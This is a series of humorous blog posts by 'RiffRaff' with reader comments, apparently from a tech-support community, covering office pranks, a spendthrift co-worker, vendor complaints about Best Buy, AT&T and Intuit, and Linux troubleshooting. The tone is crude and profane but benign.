Also: When I used to work at multinational retail store that provided computer service in store, we were advised if we ever came across child porn we were to immediately turn off the monitor and computer then locate a manager who would notify local law enforcement. We did come across it a couple of times actually. In one case, because the offender's computer was from out of parish (county), we were informed to contact the local law enforcement in his area. So, judging how most corporations have a policy in place that follows the law, protects the corporation, and respects the privacy of the customer, since we were to contact police immediately, I would think that's what your company should have done too. -FreakyFerret
OFS. Last week I was called to jury duty, and the case involved an 50 YO male picking up a 15 YO male on the internet, plus limewire downloads of illegal nature.. My background in IT precluded me from the jury. You are in one hairy situations. My condolences. -CyBear
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54.
E-Bay Starfish
So, I have listed about three dozen items on E-Bay right now, including 7 DirectTV satellite receivers. I have them all listed as separate auctions, as I have had past problems with listing multiple availability in a single auction.
Anyway, I get this question from some fucking nugget who has nothing better to do:
Why do have all those listings for the same thing ? Does that make you a glutton ?
Well, y'all know me. My response was typical of my loving personality:
The only thing I am a glutton for is wasting my time answering idiotic questions from morons who have no intention of bidding on anything I'm selling. Either ask a legitimate question, or get lost.
E-Bay item number 130296990123 if y'all want to check it out for yourselves. And the first yahoo from here that posts a question just to get my dander up will get a high-resolution, poster-sized color photo of my hairy ass. Except Burrkiss. He gets a picture of my dog's hairy ass.
[By: RiffRaff]
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You sound surprised! Most bays I've seen have starfish, why should eBay be different? -AussieFoot
Is that because Burrkiss already has a pic of your hairy ass? *runs*stops* ehh, why bother, this will put me out of my misery. -redevil34
Riff, I thought your donkey was bald. -CyBear
I thought you said you burned the flash card with that one picture of Bobsentme on it... -evolvedstarfish
so why do you have multiple listings for the same item? did you buy too many? -postal tech
Already seen it. You mooned the web cam at a BBQ, remember? -NightRain
anybody wanna buy a pic of Riff's hairy ass on ebay? (places last-2-sec bid on LART shelter key) -stiffarm
Uuuuuum, Riff, do those satellite receivers come with Jaws installed? or perhaps a brailel display? *shuffles off screaming* -AdmiralLaurie
I love you guys. *sniffle* -RiffRaff
Damn you Riff, I am now bidding on one of the them. I was just getting over my ebay addiction. -techinator
Why not a dog's hairy muzzle? (don't DARE go to sleep! <grin>) -CTYankee
I won a bid! And look what Riff sent me! http://www.viewingcrap.com/hairyass.jpg <BEFG> -TheGhost
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55.
Prima Donna Strikes Again
The only good thing about Prima Donna is that he is a job site supervisor, so he is almost never in the office. That single fact is probably the only reason he has not been killed and his body disposed of at the nearest Hoosier hog farm by any number of people here at the office.
Prima Donna is apparently also a princess, and cannot stay in any common hotel. No, he has to stay in the lap of luxury, all on the company's dime, of course.
So, apparently he got sent to a job site in $Western State recently. He was initially booked at a Comfort Inn (not snazzy enough, of course) five miles from the job site. He calls in, claims that the hotel is a mess, that they are doing all kinds of construction to convert it to a casino, so he's booking a different hotel.
Okay, fine.
Except, said hotel ended up being SEVENTY miles away from the job site. Near $Famous Resort/Gambling City. Meaning in addition to the much more expensive hotel bill, he's also putting 140 miles a day on a company vehicle, using a company gas card.
Oh, did I mention that the two crew guys he's supervising are staying at the job site itself? In TENTS!?!?
This all came to a head last night when some enterprising PFY decided to check Google maps street view of the Comfort Inn that was supposedly being torn up and converted to a casino. I realize those pictures aren't live, per se, but still, it showed a very nice hotel, flanked by a Starbucks and a Pizza Hut.
So, it has been mentioned that certain people, such as yours truly, are getting really tired of trying to cut company expenditures in a rough economy - (for instance, by assuming cleaning duties and yard care duties that in the past have been outsourced) - while he's out living high on the company hog.
So, there are apparently some high-end meetings going on right now concerning Prima Donna and his prima donna lifestyle, and how a lot of people are sick of it.
I don't know if I will be privy to the outcome of these meetings, but if there is a follow-up, you can be sure I will post it.
Stay tuned.
[By: RiffRaff]
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Didn't you mean to test those new CCTV cameras in the meeting room this week? I'm sure you mentioned it. -smellystudent
May Prima Donna be duly boned in an uncomfortable place, and I do not mean the back of a Volkswagon. -TechieSidhe
I know this is going to be a dumb question, but I must ask anyway. I've kept up with the various $PrimaDonna stories, but is the $PrimaDonna you refer to one person, or is it used to refer to multiple people? -RamenMcTavish
No, Prima Donna is one specific person, as sad as that is. -RiffRaff
That is sad, indeed. -RamenMcTavish
McFired. -Seamus
Part of me wants to believe that he'll get what he deserves. A very small part. The rest believes that this will be swept under the carpet and the guy will receive his 'retention' bonus as usual. -NightSteel
For Riff's companies sake I hope the prima donna doesn't reach MCB status, however lunacy like this is hard to pass up. -Olorin
I think your Prima Donna and My Prima Donna should hook up and go somewhere else, like Hell together. -redfaery
Red, they'd only complain about the accommodations and book into another fancy hotel a few miles away. -Torinir
hmmm..... my father does that on occasion when he visits a convention, he bitches about the food and then goes off to eat at a snazzy restaurant way out in BFE. bunch of scum-sucking leeches. all of them. -AdmiralLaurie
We should book him a few nights in Chateau de Canvas...on the construction site...while it's raining...muddy...and a significant roof leak. Or just do it the simple way: find some body-sized computing gear that needs filling prior to dumping, chuck him in it and toss it into the bin. -RamenMcTavish
"I WAAAANT A NEW HOTEL!!!!!" (time to cower in the lart shelter). -Antacid
Might be an idea to suggest that company policy be updated on such points so that the company will cover any hotel bill up to the cost of the original hotel - anyone wanting a higher-cost hotel can make up the difference out of their own pocket. -Geminii
Only the finest virgin polyvinyl duct tape should be used to cover his delicate mouth--while premium-grade sand is used to pound into his graceful ass.... -vacuumtubes
Sounds like the consultants at $hitty programming limited. While overseas on their assignments, they would get everything covered. In addition to their motel bills and food, they would also get their evening bar tabs and breakfast coffee and donuts paid for as well. At the same time I had to make an emergency delivery to a customer because the courier company sent the package to the wrong address. My fuel claim was disallowed on the rumour and allegation that I was out "joy-riding", and pay docked for the time I was out. The next time, I sent the packaged on the most expensive premium rate courier service I could find. -Wraith556
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56.
With Friends Like Me, Who Needs Enemas?
So, with the dwindling economy and the retirement of the person who handled such matters in the past, I have become Peyton Place's de facto handyman and building supervisor. Light bulb needs replaced? See Riff. Ceiling tiles need replaced? See Riff. Toilet needs replaced? See Riff.
At any rate, I recently replaced one of the toilets in the men's bathroom. And I didn't really go out of my way to purchase the most luxurious porcelain throne available, and due to the ancient plumbing in the building, there is a tad bit of splash-up when flushing the thing. No big deal, really.
I have also installed motion-sensitive automatic toilet flushers (mostly because men in our office can't seem to remember to flush on their own, but that's another story). The motion sensor is mounted directly behind the commode, and transmits a wireless signal to the device that controls the motor that controls the flush.
They all work great, except that two of the sensors appear to be working on the same frequency, because the one won't flush when it should, but flushes at the same time the one next to it does. It's something that's on my list to fix; I just haven't gotten around to it yet.
So this morning, I make my way to the bathroom for my morning constitutional, and I notice the one stall is occupied.
I couldn't stop myself.
I let myself into the neighbouring stall, and hold my thumb directly over the sensor, which causes a manual flush. I was rewarded with the usual *SWOOSH* from the commode I was standing over, followed very quickly by a somewhat muted *SWOOSH* from the commode next door.
"AAAAUUUUUGGGGHHHHHHH!!!! SHIT that's cold!"
Exit, stage left, giggling like a madman.
Some days, it's worth getting out of bed in the morning.
[By: RiffRaff]
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"and transmits a wireless signal" mmh, no need to manually go into the next stall to trigger it -Zoomer
In fact, if you can get the wireless IDs and the protocol used for all the stalls, you could rig up a device to remotely flush any of the stalls. Just mount reed switch on each cubicle door so you know which one is occupied. -flapjackboy
<rant> Gee, automatic toilets are usually the only instance in which I DON'T manage to flush, because most of the ones used in commercial places NEVER FSCKING WORK. </rant> -Seamus
my sides hurt! :0) -AdmiralLaurie
That's just cold -Spyder19
That upsplash makes it a poor man's bidet. -thx1138
OMG, that is truely a classic.. /bow. (PST, damn you, I am holding my hand over my mouth trying not laugh and the camera in the tech area is pointed right down at this area... I'm sure I look very strange as I strangle the laughter, gawd my sides are killing me). -spectreoflife
Anyone else imagining (with a little work) a Vegas style dancing toilet water display? Maybe hook it up to the Christmas light synchro when the season comes. -Darkridr
Since you didn't mention it, I assumer your victim was not Prima Donna? -concept14
*Unilateral Decision* RiffRaff is now also to be known within the Hallowed Halls of TSC as "Mr. Bidet"!
-Grue
BFEG -THETECHFROMHELL
Should be called the Reverse Swirlie Maneuver... -vacuumtubes
The code phrase for paging him for his services will now be, "Mr. Day... Mr. B. Day, call your plumber!" -Voz
Actually, this reminds me , abet strangely, of an old "Make it and Bake it Oven" commercial. "What starts with a sprinkle? Come out with a twinkle!" <runs> -Necros
BAD Riff, Bad, Bad Riff! <grins like a loony> -lineswine
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57.
You're With WHOM???
Just had a sales rep show up in our front lobby. She was with - ready for this? -
AIG
I swear to $deity, I don't know whether to laugh or cry...
[By: RiffRaff]
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Hey, I have a friend who works for AIG. It's a big company, they aren't ALL evil! (Just those who get bonuses for running the economy into the ground!) -Captain Trips
They haven't set up a dummy company to peddle their wares from yet? They have to know their name is now their biggest liability. -ActingUpAgain
Oh yes, and of COURSE re-branding works. :eyeroll: :barrel-roll: -Seamus
Apparently yes, they know their name is toxic and hope to change it to something less hated: Herpes. (saw that on The Daily Show last night.) -evolvedstarfish
Did you ask her if she could spare a million or two? -TheGhost
Well, at least AIG took the attention away from the car makers. -Biosynthetic
Eh. AIG is only part of the problem. As for myself, I'm going to blame the entity that I've been blaming for the past 20 years for all of this countries woes. Congress. And the sad thing is I don't know how we're going to fix congress because they won't ever put a vote to term limits which is the only way to start fixing things and the populace is too lazy or inept to force term limits down the throats of their representatives. -adarklite
At least three or four times a week I'm talking with a field tech who is at one of the following: AIG, Bear Stearns, Lehman Brothers, Citibank, Merrill Lynch, Bank of America, or Wachovia. Yes, some of the ones that no longer exist, I still see on my call sheet, because they've gotten bought by someone else - although the name on the door hasn't changed in some cases - and who are still spending massive amounts of money on new servers to run their trading floors in some cases. -SirJosh
I vehemently hate AIG. My mother paid in for 20years on her annuity even when we could barely afford food or heat. She goes to cash out due to retirement and they basically tell her to screw off. They wont pay her. They offered her $5000 to go away and basically taunted her saying it would cost to much to su them. The sad fact is they are correct, so she is filing criminal Insurance fraud with the state. (BTW, AIG has over 30 pending cases with the state I live in at this point) -techinator
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58.
RiffRaff: 1 - Prima Donna: 0
Last year we purchased a Tom Tom GPS unit for various people to use if they had to drive somewhere for the company. It was stolen in less than a week. So, we purchased another one, and this time it was assigned to me to keep and have people sign for when they needed it. The sign-out sheet includes a paragraph basically notifying the employee that they are responsible for the unit, and if it is lost or stolen in their possession, they have to replace it at their expense.
So, Prima Donna wanders into my office this morning, and says, "I need to check out the GPZ gizmo."
"Not a problem," says I, and I print up a sign-out sheet for him. He starts to sign it, stops, reads the paragraph about responsibility, then proceeds to cross out the line about replacing it if it's lost or stolen in his possession. Then he signs the sheet and hands it back to me.
0.o
ORLY?
So, I calmly place the GPS back in the drawer, and let Prima Donna know that he can't have it. I won't bore you with a play-by-play of the conversation, partially because I can't remember what was said verbatim, but it essentially boiled down to that was what insurance was for, and there was no way he was going to buy a new one if someone broke into the car and stole it.
"That's fine; you can use your laptop to access Streets & Trips and print out the directions."
At that point, he let me know that he would just go to $Division Manager (who technically outranks me), and he would tell me to give him the GPS.
"Fine; you do that." Off he stomps in a huff.
Twenty minutes later, I get a call at my desk from $Division Manager. "Riff, I need you to give Prima Donna the GPS unit."
(In my best HAL neutral voice): "I'm sorry, $Manager, I can't do that."
A pause, then an evil little chuckle. "Why not?"
"Because accepting responsibility for it is a company policy put into place by $Vice President, and $Prima Donna is not exempt from it."
"Well, one of the three - (referring to the the other three executives) - will be here before he leaves, and one of them can handle it."
"Okay."
About 15 more minutes pass, then $Prima Donna shows up at my desk again. "Give me the little gizmo," he says, with complete and utter contemptuous resignation in his voice.
"Certainly," I reply sweetly, and print up a fresh sign-out sheet, which he autographs without altering it. "Have a great trip!"
Now, y'all just *KNOW* this isn't going to be the end of the story, right? Place your bets on Part 2, because we all know he's going to have to try and have the last word.
[By: RiffRaff]
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Now taking bets on $PrimaDonna losing it. -MisterCommon
Oh Loki and Murphy: please grace this twit with your humours and attentions for our amusements. for this favor we demand, we will give unto you oferings of cookies and scotch. (consumed in your honour of course) -SpitefulTech
Oh yeah! (grabs popcorn) -PTSTech
Riff, thanks for the story. It has cheered me up here in Mordor immensely. May the fairies run away with the thing while it is in his possession, so he can be taught a lesson. -TechieSidhe
Nicely done riff, i wonder what part 2 will bring, maybe elvis asked prima to borrow it, cos you know you cant refuse the king :) -starfishmagnet
Don't you love using policy to the letter to torture people like this? -Starfury
Twenty bucks and three does on "I didn't read the fine print, so it doesn't apply to me!" -linuxmatt
Well, we all know that $PrimaDonna had lost it, but what about the GPZ thingy? -Biosynthetic
Sooooo - what kind of car does PrimaDonna drive, and where will he be? Perhaps it could be stolen this week? -Divinar
OMG and this person has a drivers licence? Where are they going so I can be sure to NOT be anywhere near any roads they my be on. On the other hand, too bad it cant be told to direct them to a bridge thats under construction and neglect to tell them such. 'Turn left, continue for ...FIVE... Miles' (two miles later sploosh) -Belunar
Wow... just wow... I knew that there were some real tards out there, but that guy needs to have an LSD enima and told he can fly. -spectreoflife
Riff, have I told you lately that I love you? ;) -Ulfgaard
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59.
My Best Buy Blood Oath
So, Indiana's first real round of severe weather rolls through yesterday. As I normally do on such days, I dig out our Dell laptop that we use for radar data and storm information while in the field and boot it up so I can make sure it's all updated and such.
Except, it doesn't boot. Not really anyway. Progress bar on the BIOS splash screen moves a bit, then freezes; then moves a bit, then freezes. And so on. Finally it gets to the XP splash screen, and it does the same thing. Progress bar moves a bit, then freezes. Reboot. Second verse, same as the first.
Fuck.
So, Magenta and I decide that it's time to break down and buy a new one, and we decide both due to budget constraints and sheer practicality of what we're using it for, to go with a Netbook. Some intrepid Googling reveals that Best Buy has the best deal.
Now, I have sworn in the past to never give Best Buy any business, both due to their business practices and the fact that most of their Geek Squad people can't properly diagnose a runny nose, let alone a computer.
So, with much reservation, I head off to the closest Yellow Tag, and arrive just a few minutes before they open their doors. I am one of the first customers in the store.
On a Sunday.
With advertised model printed out in hand.
Who knows what happens next? Anyone? Anyone?
If you said, "That model was out of stock," Then step up to claim your cookie.
So, I politely inform the poor schlepp who's helping me that they can simply sell me the next highest model at the same price. *Cue confused, deer-in-the-headlights look* This request requires the involvement of a manager, of course.
So she starts looking through the computer and tries to give me a "Well, that's an Internet special only," excuse. I point to my printout, where it doesn't say anything of the sort. So she looks up the next highest model.
Who knows what happens next? Anyone? Anyone?
If you said, "That model was out of stock, too," Then step up to claim another cookie.
By now, they can tell that I am not the happiest camper in their store, and that I'm also not one to just back down when I think I'm being fed a line of feldercarp. So she looks up the *next* highest model.
Who knows what happens next? Anyone? Anyone?
If you said, "Even that model was out of stock," then you are dead wrong. They had one.
In stock.
It was pink.
o.O
I politely thanked them for wasting my time, walked out, and drove directly to Fry's where I purchased a better model for $299.
So, if you are a Best Buy exec reading this, or you are related to a Best Buy exec, and you're reading this, please take note:
I, RiffRaff, do solemnly swear on all that I hold dear, and in the presence of my friends and colleagues, that I will never again attempt to give any of my hard-earned money to Best Buy. I will not purchase so much as a candy bar from your stores. I don't care if you are offering the latest and greatest technology for 10% of what I'd pay elsewhere. I will go without before I darken your doors with my presence again. You are the prime example of all that is wrong and evil with corporate America.
So say we all.
[By: RiffRaff]
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Yep the old song and dance. Bestbuysux was a good website to read but I don't think it's up anymore. The Best Buy nearest to me here in FL has changed my opinion on it. It's a smaller store but they've always had what I was after in stock and less than CS when they were open. And there's never more than 2 or 3 people in line. I walked right up and checked out on a sunday afternoon. Guess I'm just lucky... -SirBSOD
feldercarp or feldercarb An expletive used by the characters of Battlestar Galactica that refers to the putrid and crusty black grime that would accumulate on various pieces of machinery and required scraping off during maintenance.
As for Best Buy, maybe its the one where you live, cause I'm in NY and their always stocked with stuff and I got my HD TV and xBox and all sorts of gadgets there like my TV Table that wasn't on the floor show room but they had it in stock in the back, am saying blame the location not the store?, but the Geek Squad really can't diagnose a broken leg of a man in a handicap chair next to his car that is parked in the handicap parking with the handicap sticker in the window.... -LowLevelFormat
I actually found that the Acer Aspire one is a good machine for anything but high end graphics. -srteach
As an Geek Squad Rogue Agent (meaning I left under good terms) I can say that there are SOME who are pretty good at what they do, but most agents really do suck. I got my Asus EEE PC 900ha from Ebay for 299 a month ago. I didn't even bother going into beast buy to look as I don't buy from them unless it's an emergency repair part. I just ordered my father an identical model to mine friday, also from ebay, if that tells you anything about how much I'm enjoying it. -TechnoTherapist
i got my netbook from best buy. they tried to talk me into the extended 4 year warranty, which i politely declined (i was stupid enough to get the 4 year warranty for an ipod many many years ago, which subsequently bricked, then they wouldnt honor the warranty because that model was no longer manufactured). i think the blueshirt was appalled when i told him i was going to void the warranty to load OSX and windows 7 as soon as i got it. -r3dn3x0r
Bait. Switch. Pete. Re-Pete. Tractor. Buttocks. Shebednigo. -vacuumtubes
I've actually always had decent luck with Best Buy, but I have to say I've never bought a computer from them and probably never will. But then, I've also always had good luck with Dell, so maybe I just lead a charmed life. -rdwells
same damned thing happened with me. idiots. I hate their salesdrones. -AdmiralLaurie
SO SAY WE ALL! - i hate that store soo much.. the ONLY thing i don't comepletly despise is the occational time when the PSP actually has a benefit. i have one on my TV - thats been making arcking buzzing noises for a good long time now - but without a car - there is NO WAY i can get my TV to THEM! hates hates hates hates BB. Futureshop - NO better! ( same damne company) -Harm
When they toss you out for running a basic diagnostic on a PC (the one that actually comes built-in to the OS)... When they advertise a PC as having better hardware than it actually has... When they bait-and-switch so often it makes you want to mercilessly devour every damned one of their faces... It's Best Buy. -Seamus
It was announced recently that Best Buy's foray into the UK has been delayed until this time next year. Best bit of news I've had in a long while. -Gromit
I am under the distinct impression that Best Buy is really Tandy's Computer City reincarnated. Or zombiefied. Or Borgified. Whatever. -Biosynthetic
I had to get a new HDD from Best Buy during a recent emergency. I usually give my business to Newegg, but my hard drive suddenly died in my laptop and I needed it the next morning. I had to run to Best Buy - the ONLY place anywhere near here that sells hard drives - and pay a huge markup. Granted, it wasn't as bad as I thought it would be, but it was on sale. I could have gotten it with overnight shipping on Newegg for less, the problem was that overnight was still too late. *sigh* And it was only AFTER that I remembered a gift card I had for Best Buy, I dunno who gave it to me. *grumble* -DarthIndy
I don't like best try either but the one I frequent when needed is a good store. Probably because its less than 2 miles from Corporate Headquarters. -HappyCrappy
HAA HAA HAA! HP Mini 1000 Vivienne Tam edition. For only $300 more, you get the pretty pink paint job!!! Come on, you know you want it. -AngrySup
r3dn3x0r, somebody lied to you. They can still honor the PSP/PRP on items that are no longer manufactured. I do it every day.
Harm, depending on how big your TV is, you can call 888BestBuy to have someone come out to fix your TV under the PSP. -Zayda
If BB is anything like the red-shirted store used to be, they probably could have ordered it for you, unless it was a closeout model. They probably tried to discourage you from buying it because you weren't going to buy any extras. The less-reputable salespeople had no problem lying about that stuff. -linkv
BTW-- now that CC is dead, I'm more than happy to tell where the bear shits in the woods, if anyone cares. -linkv
Great story. Best buy is really the only major 'puter store here in Tampa. Usually better than CompUSA in my opinion. I usually get them to leave me alone by saying nonsense. Especially when I know what part I want and can't remember it damn name. -DarkRookie
I haven't been into Worst Way for quite awhile, until just recently. I went in to pick up my new netbook, (bought it through the Outlet Center on their website, available for pickup at the nearest store), and I had a pretty good experience, both with the service I'd gotten from two different sales people, and the manager who came over to help me with another question. (Shocked the hell outta me!). Previously I'd seen a lot of the bait-and-switch result coming from just having a few of a sale item in stock, and they're out right away. Yeah, I was asked about the service contract and such, but didn't get any kind of pressure or argument when I said "no thanks". After reading HappyCrappy's comment, it makes me wonder- any Twin Cities area techs having bad experiences around here lately? Just wonderin' whether Corporate might also be reacting to the complaints, at least in the stores where certain corporate types might be liable to wander in... No guarantees at all, but it raises the question! -Voz
I've been to the nearest Best Try maybe a dozen times. Only one time have I made a purchase, for a NEW MOUSE cause I got a $20 gift card from St. Ream for being 1 of 2 techs that met stats. Every other time I've been there they didn't have what I needed. -Grembo
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60.
Deregulation Works So Well
Never before, ladies and gentlemen, have I tried so hard to give a company my money, and have them fight me tooth and nail on it.
Drop.Net, as most of you know, is the ISP for which I used to work, and VT still does. My current home DSL connection is through them. Now, the way that works is, DN can only provide DSL to customers using AT&T circuits. In short, if AT&T can't get a DSL signal to the customer, neither can Drop.Net. Just to be sure I wasn't nuts, I called and verified that today.
However, due to equipment and cost limitations, they can only provide a 1.5 Mb connection. And that's pretty close to what I'm getting. This is fine, but it's not conducive to watching video from YouTube, Hulu, or any other streaming video site.
So I have been calling AT&T all day today to try and see if they can offer me a 3 Mb connection or higher. Every representative I've spoken with has insisted that DSL is not available in my area, and tried to shift the subject to providing TV and cellular services for me. It's quite infuriating.
Never mind that I've explained to them that I already *have* a DSL connection using their circuits. It's just not possible according to them. But my current TV and cellular providers and what I pay them each month are of great interest to AT&T.
My call was finally escalated to an engineer, who will be calling me within 5 to 7 days, no doubt to inform me that my existing DSL connection is merely a figment of my imagination. But he can save me a great deal of money by switching my TV and cellular services to AT&T.
Fucktards. This is one of two vendor rants. Stay tuned.
[By: RiffRaff]
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I hate at&t cellular services. I'll post what happened a bit later. -AdmiralLaurie
Its AT&T. In the old days, their solution would be to kill the DropNet DSL link, then charge you the disconnect fee. -Darkridr
I can't stand dealing with their cell network reps. $Gawds, what clueless twats... -Seamus
so when the engineer voips ya over splat&t dsl to tell you you don't have their dsl... -stiffarm
Speaking as a former support drone for AT&T... they just don't want to sell you DSL when they can rake you over the coals for U-Curse service. -CptDzastr
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61.
Intuit Sucks
Peyton Place has been using QuickBooks Enterprise 7 ever since I started there two and a half years ago. They have a ten-seat license, and due to the current global economy, only 6 people are using it full time. We have it installed on a community computer as well, so that makes 7 seats. Even counting the installation on my VM, which I don't because I only use it to reproduce problems, not actually access the databases makes 8, which is well within our license.
So today, $CFO has a problem accessing one of the databases from her VM. I try to log into the same database using my VM so I can see if it's a client problem, server problem, or VM problem. However, QuickBooks is popping up an error message telling me I must register the software, and refusing to let me go any further until I do. This, despite the fact that I registered the software on my VM two months ago.
So, I am directed to call Intuit for a validation code, only to be informed that we have activated that license 21 times, which is its maximum limit.
Excuse me? You mean to tell me that if I have ten clients and one server, requiring 11 activations right out of the box, that if I buy all ten of those users new computers, necessitating installation of QuickBooks on each one, that I am no longer allowed to install that software again? Regardless of hard drive malfunctions, QuickBooks fuckups that require the software to be reinstalled, and new systems being purchased.
Have they lost their motherfucking minds?
The agent had the nerve to ask me why we hadn't upgraded to QuickBooks 8 or 9.
Because we don't want to, bitch. I shut her down on the sales pitch immediately, with a very blunt, "I have a lot of work to do. I am not interested in you selling me anything. I merely want the software activated. Now."
This got me an extra activation. But believe you me, someone at Intuit is going to catch hell from one very pissed off sysadmin tomorrow regarding their activation protocols.
Fucktards.
[By: RiffRaff]
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And to think that a cracked version probably works fine and dandy makes it even more stupid. -Calydor
The correct answer to "Why haven't you upgraded?" is "Because your licensing becomes more draconian with every version. This one is plenty bad enough." IMO the nastiness of the activation/DRM and the quality of the software have a precise inverse relationship. I've dealt with Intuit before, and never again if I have anything to say about it. -devzero
I like the old dongle method myself. You want it running for 6 computers at any given time, buy 6 dongles. -evolvedstarfish
You might look to the license. If it's been activated 21 times, either you got <evil> software, or one of your minions may have been setting up copies on the side. It's compromised somewheres. As for the sales pitch, blah, what do you expect? Yep, that's the LART shelter over there, I'll enjoy my stroll. -AngrySup
It all makes sense now...it's not that we're in a recession, its that no one can activate their copy of QuickBooks, and therefore cannot correctly calculate what's actually going on :P -EtherRabbit
This is actually a sort of a scam on its own right. I've heard that they actually do this on purpose so that people would call and get it activated. Once they call they pitch in the rates and the upgrades, which would amount to zip, zilch, nada. -kennz
IIRC, doesn't QuickBooks force you to upgade every three years by de-activating the software? Seems like another type of blackmail. -MisterCommon
I can only speak of the non-Enterprise editions, really; version 5, 6, 99, and 2000-2003. No, (until after 2003 at least) Intuit never ever "deactivated" any software. They will -- as they must, you understand -- stop offering support for old versions of software. After all, how many [zillions] of dollars are you willing to spend, to train people to support a product that dwindling numbers of people are using? "Microsoft does it" isn't a good enough reason, but they might be a model to view. I hope we all have some conception of why MS had to stop offering standard telephone support for Windows 3.1, for instance. (Yes, an example at the extreme, but useful for illustrative purposes.) -FuzzyElf
I don't mean to say Intuit never made a stupid, annoying, or just plain bad decision. "I know! Let's let people in INDIA support QuickBooks. NOOOObody in USA will mind talking with someone who has not the least clue of how U.S. culture and companies work! What? What do you mean, 'But they can't even understand the agents'???" Or the dreaded QB 2000. Ohhh, that was heeeeedeous! -FuzzyElf
I use QuickBooks ONLY for the interface with QuickTax; it's otherwise the worst system there is for financial reporting.
The main problem is, though, that I have to "up"grade every 3 years as QuickTax won't accept data from a QB version any older than that. -Treker
We just started to use QB, but for the inventory features rather than the financial ones. Our old inventory system was DOS based. Oh the horror of training anyone on it. -NotaTech
Quickbooks. From Intuit. The ONLY company that has a worse approach to working with its indirect sales force (i.e., for QB, accountants and computer stores) than anything Microsoft has done. Sad part is - Microsoft Money tracks less of your personal info in the packets to Microsoft, than Quicken does to Intuit! And Microsoft Accounting is a more GAAP compatible package than Quickbooks ever could be. Sad when Microsoft's products are more stable, safer, and less personal-data-intrusive than the industry leader ... -ralphp1024
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62.
Would You Like To Super-Size That?
No need to go into details, but as part of a practical joke on someone in the office this morning, I was asked to bring in a condom. Now, due to a long series of stories which I will not bother to go into now, I have a case of 1000 condoms in my basement, minus one box that we gave to Magenta's sister as a gag wedding present. They are long past their expiration date, so there's little else they can be used for anyway.
Moving on. Usually, when I have to remember to bring something in to the office the next day, I put it in my briefcase the night before. I left my briefcase in the van this morning when I got to work, and I was asked if I remembered to bring the condom for the joke. I said, "Oh yeah, let me go out to my car and get it."
So I walk out and get my briefcase. When I walk back in, the receptionist said, "You need a briefcase to carry a condom?????"
Without missing a beat, I replied, "Well, it is my condom."
Much hilarity was had by all.
[By: RiffRaff]
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"The regiment has voted the funds to repair the condom." Old joke! -TieDyedDinosaur
"Damn, that water's cold!" -really old joke -Biosynthetic
...and deep! (old joke response) -Darkridr
You should use up condoms before the expiration date. Let me know if you need instructions on how to do this. -concept14
Yep!!!! You got them condoms and renewed your big butt. Dar she blow mateyys. Starboard lads !!! wer huntin butts!! -kennz
Inflate them all with helium, tie notes with the address of your favorite *Fishie and set them free! -Biosynthetic
Since you brought them to the office, does that mean you can deduct them as a business expense? -Stryker One
I would really like to know the reason you needed 1000 condoms. Even for a teenage couple fooling around that's a lot. -Starfury
"Thank you. Come again." </Apu> -Necros
Cue Frank Oz -ShujinTribble
This is from an old Readers Digest book. (by old I mean at least 40 years ago.) During th ecold war a company in Russia ordered some "special" condoms from the Trojan Rubber Co. They specified that they had to be 14 In. long and 2 In in diameter. The Trojan Rubber Co. made them and shipped them but they were marked as Mediums. -atomicbill
Come to think of it, I don't remember renewing my own star for about two years now... I'm not even sure when it expires, but if a thank-you is due, I'd like to offer my sincerest gratitude. And I'd like to offer to return the favor, in fermented liquid form. -linkv
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63.
Yahoo & Pidgin?
Anyone else having problems getting Pidgin to log into their Yahoo IM accounts, or is it just Peyton Place?
[By: RiffRaff]
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No trouble here that I can see...two Yahoo accts, both signed in. -RamenMcTavish
I just brought up pidgin (on my home machine, gotta love Linux's ability to remotely display a window over SSH!) and it logged into my Yahoo account fine. Looks like a local problem, Riff. -SalParadise
K, thanks. I would think it's a networking problem except that Yahoo IM client users are logging in just fine. Not sure what else to look at. -RiffRaff
You may need to upgrade Pidgin if you haven't done so recently. Yahoo changes things like the available servers and some things in the protocol from time to time. The Pidgin team is good about keeping up with this stuff and rolling out new releases to deal with it. -SalParadise
Have you tried turning it off & back on again? (I am SO dead for this one!) -lineswine
lineswine - You just made my day with that... I'll be your human... err... Ok, MOSTLY human shield! -ShujinTribble
Not trouble, exactly, but I often have to re-enable my yahoo account into Pidgin. Could be a quirk of Linux, I suppose. I find Pidgin a bit flaky lately, anyway. -wylfwt
And that's why I'm using Digsby. -unrenowned
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64.
Ubuntu FUBAR?
For those of you who remember, for Christmas I got myself a new Toshiba 64-bit laptop, and Magenta got the Gateway that I purchased last year. It was her first venture into Linux, and she's handled herself pretty well, I must admit.... for a girl.... *ducks all incoming LARTS*
(Just kidding, honey...)
Well, a few nights ago her computer wouldn't boot properly. It displayed the splash screen briefly, then dropped to a command prompt giving the option to enter root password or hit CTRL-D to continue. All kinds of disk errors were popping up, and I couldn't access most of her directories. I couldn't even mount the hard drive on another Linux system.
Finally, I ran fsck and just let it run through all the errors it was finding. After that lengthy process, I was able to navigate all of her directories as root, but the system still would not boot to the GUI. However, I was finally able to get it to mount on my own laptop so it was easier to copier her data to my hard drive.
And it was here that I realized just how FUBARd everything was, but not sure as to why. All of the permissions on her system folders had been changed. No pattern that I could discern, but I think whatever happened prevented Ubuntu from reading or writing to its own system folders.
The only clue I have is that after I fixed all of the hard disk errors and booted to a CLI, there was some kind of message about not being able to boot from image, or find the image. My guess, at this point, is that the system was allowed to hibernate or suspend while on battery, and the battery died, corrupting the image it would boot from on restart.
Any ideas or comments are welcome, but at this point I have all of her data salvaged on my laptop, and I'm formatting the drive on her laptop and installing Ubuntu 8.10. That's the silver lining of the situation, is that she gets a fresh install of the latest release, without being just an added user on my old machine.
And that's how I'm spending my Sunday afternoon.
[By: RiffRaff]
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Very odd indeed; I booted my 8.10 machine this morning and got dropped for an fsck. I got lucky with mine after a manual fsck, as it went to the GUI afterward. Also been having random freezes for a while; they last about 10-15 seconds each. Don't know what to say really. -RamenMcTavish
From my experience, it was either what you said (sleep then battery dying), or kernel panic. If there were any programs running at the time, especially admin programs, that would probably do it. Perhaps it crashed while in the middle of installing a program? -DarthIndy
I'm going w/ your first hypothesis, but like Darth said, there could've been a kernel panic there, but i've never seen one change the perms like that. -duckhead
I've not seen that happen with Ubuntu. I'll dig around and see if I can find anything about it. -clockkingfl
Is 8.10 prone to kernel panics? I've got it on a weird all-on-one (think current Mac desktops) that Intel conned Gateway and Elonex into making, and it'll go unresponsive for, as mentioned, 10-30 seconds. I thought it was just f**ked hardware; now not so sure. -CTYankee
CTYankee: I don't know, to tell the truth. For example, my laptop has a tendency not to wake up sometimes when I close the lid... I've turned off the power management/autosleep, but it just panics and forces a hard reset. Then again, it may just be my hardware, since it'll do that in XP too, occasionally. -DarthIndy
